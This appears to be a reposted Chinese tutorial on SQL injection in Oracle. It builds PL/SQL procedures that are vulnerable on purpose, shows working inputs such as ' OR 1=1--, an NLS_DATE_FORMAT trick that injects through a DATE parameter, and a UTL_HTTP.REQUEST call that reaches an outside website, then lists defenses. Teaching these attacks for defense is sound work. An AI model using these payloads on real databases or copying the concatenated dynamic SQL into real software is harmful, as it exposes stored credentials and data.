您的位置:首页 > 数据库 > Oracle

Oracle的SQL注入

2015-07-21 23:53 846 查看
        百度百科对SQL注入的描述是这样的:“用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。”这有点含混不清,到底如何“提交一段数据库查询代码”呢?

        其实SQL注入是一种安全漏洞,假设应用程序如果接受终端用户的SQL输入,那么在输入中拼接一部分SQL代码后传递给应用,应用就会给出终端用户本来没有权限查看的信息。

        那么针对oracle数据库开发,SQL注入具体通过哪些方式实现?

1.   SQL篡改或拼接

常见的方法就是在sql的where语句中追加 “or1=1”之类的sql代码,比如下面的

试验A:

SQL> CREATE TABLE USER_PWD(USERID VARCHAR2(20),PASSWD VARCHAR2(10));
Table created
SQL> INSERT INTO USER_PWD VALUES('XXX','XXX123');
1 row inserted
SQL> INSERT INTO USER_PWD VALUES('YYY','456YYY');
1 row inserted
SQL> COMMIT;
Commit complete
 
SQL> CREATE OR REPLACE PROCEDURE P_SQL_INJ1(V_UID VARCHAR2) IS
  2    V_SQL LONG;
  3    CUR_INJ SYS_REFCURSOR;
  4    R_INJ USER_PWD%ROWTYPE;
  5 BEGIN
  6    V_SQL:='
  7      SELECT * FROM USER_PWD whereUSERID='''||V_UID||'''';
  8    DBMS_OUTPUT.put_line(V_SQL);
  9 
 10    OPEN CUR_INJ FOR V_SQL;
 11 
 12    LOOP
 13      FETCH CUR_INJ INTO R_INJ;
 14      EXIT WHEN CUR_INJ%NOTFOUND;
 15     DBMS_OUTPUT.put_line('USERID:'||R_INJ.USERID||',PASSWORD:'||R_INJ.PASSWD||'...');
 16    END LOOP;
 17    CLOSE CUR_INJ;
 18 
 19 END;
 20 /
Procedure created
SQL> SET SERVEROUT ON;
 
--用户XXX查询自己的数据
SQL> EXEC P_SQL_INJ1('XXX');
    SELECT * FROM USER_PWD where USERID='XXX'
USERID:XXX,PASSWORD:XXX123...
PL/SQL procedure successfully completed
 
--被SQL篡改后,查到了USER_PWD表中的所有数据
SQL> EXEC P_SQL_INJ1(''' 
OR1=1--'' ');
    SELECT * FROM USER_PWD where USERID='' OR 1=1--' '
USERID:XXX,PASSWORD:XXX123...
USERID:YYY,PASSWORD:456YYY...
PL/SQL procedure successfully completed

 

上面的例子中,存储过程输入参数是字符型,通过输入参数拼装的动态SQL很容易被改写,最终导致了数据泄露。而Thomas Kyte演示了当输入参数是date格式时的SQL注入漏洞,请看试验B:

SQL> DROP TABLE USER_PWD;
Table dropped
SQL> CREATE TABLE USER_PWD(USERID VARCHAR2(20),PASSWDVARCHAR2(10),CREATEDATE DATE);
Table created
SQL> INSERT INTO USER_PWD VALUES('XXX','XXX123',TRUNC(SYSDATE-1));
1 row inserted
SQL> INSERT INTO USER_PWD VALUES('YYY','456YYY',TRUNC(SYSDATE));
1 row inserted
SQL> COMMIT;
Commit complete
 
SQL> CREATE OR REPLACE PROCEDURE P_SQL_INJ2(D_DT DATE) IS
  2    V_SQL LONG;
  3    CUR_INJ SYS_REFCURSOR;
  4    R_INJ USER_PWD%ROWTYPE;
  5 BEGIN
  6    V_SQL:='
  7      SELECT * FROM USER_PWD whereCREATEDATE='''||D_DT||'''';
  8    DBMS_OUTPUT.put_line(V_SQL);
  9 
 10    OPEN CUR_INJ FOR V_SQL;
 11    LOOP
 12      FETCH CUR_INJ INTO R_INJ;
 13      EXIT WHEN CUR_INJ%NOTFOUND;
 14     DBMS_OUTPUT.put_line('USERID:'||R_INJ.USERID||',PASSWORD:'||R_INJ.PASSWD||'...');
 15    END LOOP;
 16    CLOSE CUR_INJ;
 17 
 18 END;
 19 /
Procedure created
 
--正常的查询
SQL> EXEC P_SQL_INJ2(TRUNC(SYSDATE));
    SELECT * FROM USER_PWD whereCREATEDATE='21-7月 -15'
USERID:YYY,PASSWORD:456YYY...
PL/SQL procedure successfully completed
 
--存储过程P_SQL_INJ2的输入参数是date型,没法通过拼接字符串的方式篡改sql,真的是这样么?
SQL> EXEC P_SQL_INJ2(''' 
OR1=1--'' ');
begin P_SQL_INJ2(''' 
OR 1=1--'' ');end;
ORA-01858: 在要求输入数字处找到非数字字符
ORA-06512: 在 line 1

 

SQL> ALTER SESSION SETNLS_DATE_FORMAT='"'' OR 1=1--" ';
Session altered
--通过修改NLS_DATE_FORMAT的格式,可以在date类型后拼接sql,其实原理跟试验A是一样的
SQL> exec P_SQL_INJ2(trunc(sysdate));
    SELECT * FROM USER_PWD where CREATEDATE='' OR 1=1-- '
USERID:XXX,PASSWORD:XXX123...
USERID:YYY,PASSWORD:456YYY...
PL/SQL procedure successfully completed

 

2.   函数调用注入

--下面这个translate函数把字母和数字之外的特殊字符全部屏蔽了,起到了防止SQL注入的作用

SQL> select translate(upper('xxx'''' OR 1=1--'' ''')
  2                 ,'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_#$@.?`~!%^*()-=+{}[];":''?/><,|\'
  3                 ,'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890')
  4     from dual;
TRANSLATE(UPPER('XXX''''OR1=1-
------------------------------
XXX  OR 11

 

--但是将UTL_HTTP.REQUEST函数注入后,却执行了一个访问某网站的操作

SQL> select translate(''||UTL_HTTP.REQUEST('http://www.e0575.com/')||''
  2                  ,'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_#$@.?`~!%^*()-=+{}[];":''?/><,|\'
  3                 ,'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890')
  4     from dual;
TRANSLATE(''||UTL_HTTP.REQUEST
--------------------------------------------------------------------------------
DOCTYPE html PUBLIC W3CDTD XHTML 10 TransitionalENhttpwwww3orgTRxhtml1DTDxhtml1
html xmlnshttpwwww3org1999xhtml
head
meta httpequivContentType contenttexthtml charsetutf8
title老城市 新生活绍兴E网title
meta nameKeywords content绍兴绍兴E网
meta nameDescription content绍兴E网免费为您提供美食、优惠券、打折、休闲娱乐、招聘、二手、租房等绍兴生活消费指南绍兴E网  绍兴消费
link hrefhttpwwwe0575comcssbasecss relstylesheet typetextcss
link hrefhttpwwwe0575compic2011css relstylesheet typetextcss
link hrefhttpwwwe0575comcssindexcss relstylesheet typetextcss
meta namebaidusiteverification content3OyMlCknGWjOrpq5
style typetextcss
tgc goods  width81px height120pxfloatleft marginleft5px marginright5px marginbo
tgc goods gdpic  padding 1pxborder1px solid CCCCCC
tgc goods gdother  lineheight18pxtextaligncenter
ggxx1  width90 heightautooverflowhidden margin10px auto
ggxx1 li  floatleft width100heightauto overflowhidden padding7px 0 lineheight16
style
head
body
div classtopBar
div classm2ul classm1li classm3onmouseoutlayershowtopbarhide onmouseoverlayer
div classt1分类信息div
div classt2ahrefhttpwwwe0575comjob targetblank招聘求职a a hrefhttpwwwe0575comseco

 

3.     还有一些其他方法,实现更加复杂,不做详细研究了

 

    现在对Oracle的SQL注入漏洞有了初步的了解,那么在数据库层面能够有效防止漏洞的主要措施有:

1.用translate或自定义函数对用户输入进行判断、合规性验证;

2.尽量不要使用动态拼装SQL,多用绑定变量的SQL或者存储过程进行数据查询存取;

3.应用使用的数据库连接需要单独设置低权限级别,切不可使用管理员用户;

4.重要和敏感的信息比如密码等字段要加密,即使被窃取也很难破解成明文;

5.通过应用调用的函数、存储过程等的错误信息要进行封装,不要直接报数据库自带的错误。

 

 
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: